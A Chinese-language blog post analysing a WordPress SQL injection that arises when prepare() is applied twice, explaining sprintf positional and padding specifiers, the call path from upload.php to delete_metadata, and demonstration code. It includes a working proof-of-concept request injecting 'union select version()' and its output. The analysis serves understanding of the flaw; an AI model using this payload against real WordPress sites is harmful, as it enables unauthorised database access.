virusdefender's blog ʕ•ᴥ•ʔ

重复 prepare 带来的 WordPress 注入漏洞分析

原文比较乱,重新整理和总结了一下

https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
https://medium.com/websec/wordpress-sqli-poc-f1827c20bf8e

sprintf 函数

两个例子

1echo sprintf('The %2$s contains %1$d monkeys', 100, "zoo");

输出 The zoo contains 100 monkeys

An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote (’).

1echo sprintf('The %2$s contains %1$\'#10d monkeys', 100, "zoo");

输出 The zoo contains #######100 monkeys

prepare 函数

原始代码

下面是一个精简版的

 1class wpdb {
 2  function _real_escape( $string ) {
 3    return addslashes( $string );
 4  }
 5
 6  public function escape_by_ref( &$string ) {
 7    if ( ! is_float( $string ) )
 8      $string = $this->_real_escape( $string );
 9  }
10
11  public function prepare( $query, $args ) {
12    $args = func_get_args();
13    array_shift( $args );
14    // If args were passed as an array (as in vsprintf), move them up
15    if ( isset( $args[0] ) && is_array($args[0]) ) {
16      $args = $args[0];
17    }
18    // in case someone mistakenly already singlequoted it
19    $query = str_replace( "'%s'", '%s', $query ); 
20    // doublequote unquoting
21    $query = str_replace( '"%s"', '%s', $query ); 
22    // quote the strings, avoiding escaped strings like %%s
23    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query );
24    array_walk( $args, array( $this, 'escape_by_ref' ) );
25    var_dump("query: ".$query);
26    return @vsprintf( $query, $args );
27  }
28}

prepare 函数的作用

函数调用栈

upload.php 调用了 wp_delete_attachment( $post_id_del )

wp_delete_attachment 中,$post_id 是用户可以完全控制的参数,来自 $post_ids = $_REQUEST['media'],然后循环执行下面的逻辑

1if ( !$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) ) )
2    return $post;

这里有第一个检查,但是因为是 %d,虽然 $post_id 不是数字,但是如果是数字开头还是可以被转换为了数字的,可以绕过。

然后调用了 delete_metadata( ‘post’, null, ‘_thumbnail_id’, $post_id, true )

有第二个检查,无法绕过,必须要插入数据,否则就 return false了。而且 meta_value 是 payload,这也是原文中要使用 XML-RPC 的原因

这里 $meta_value 就是上面的 $post_id

1$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
2if ( !$delete_all )
3  $query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
4if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
5  $query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
6$meta_ids = $wpdb->get_col( $query );
7if ( !count( $meta_ids ) )
8  return false;

接下来的流程直接带入 POC 了

1$obj= new wpdb;
2// 用户可以完全控制的参数
3$meta_value = "%1$%s and PAYLOAD";
4$value_clause = $obj->prepare(" and meta_value = %s", $meta_value);
5$sql = "select * from table where meta_key=%s $value_clause";
6var_dump($sql);
7// value_clause 被 prepare 了两遍
8var_dump($obj->prepare($sql, "***"));

的结果是

1// 将 %s 放入单引号内,准备 sprintf
2string(29) "query:  and meta_value = '%s'"
3// %s 被替换为 %1$%s and PAYLOAD
4string(75) "select * from table where meta_key=%s  and meta_value = '%1$%s and PAYLOAD'"
5// 再次 prepare,%s 被放入单引号内
6string(86) "query: select * from table where meta_key='%s'  and meta_value = '%1$'%s' and PAYLOAD'"
7// 第一个 %s 变成 ***,%1$ 变为 ***,'%s 不需要 padding 就消失了
8string(77) "select * from table where meta_key='***'  and meta_value = '***' and PAYLOAD'"

还可以这样测试下

1var_dump(sprintf('select * from table where meta_key=\'%s\'  and meta_value = \'5 %1$\'%10s\' and PAYLOAD\'', "***"));

的输出是

1string(86) "select * from table where meta_key='***'  and meta_value = '5 %%%%%%%***' and PAYLOAD'"

POC 是 /wp-admin/upload.php?_wpnonce=e3280c0238&action=delete&media[]=28 %1$%s union select version() #

1string(128) "SELECT post_id FROM wp_postmeta WHERE meta_key = '_thumbnail_id'  AND meta_value = '28 _thumbnail_id' union select version() # '"
2array(1) {
3  [0]=>
4  string(6) "5.7.19"
5}

总结

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全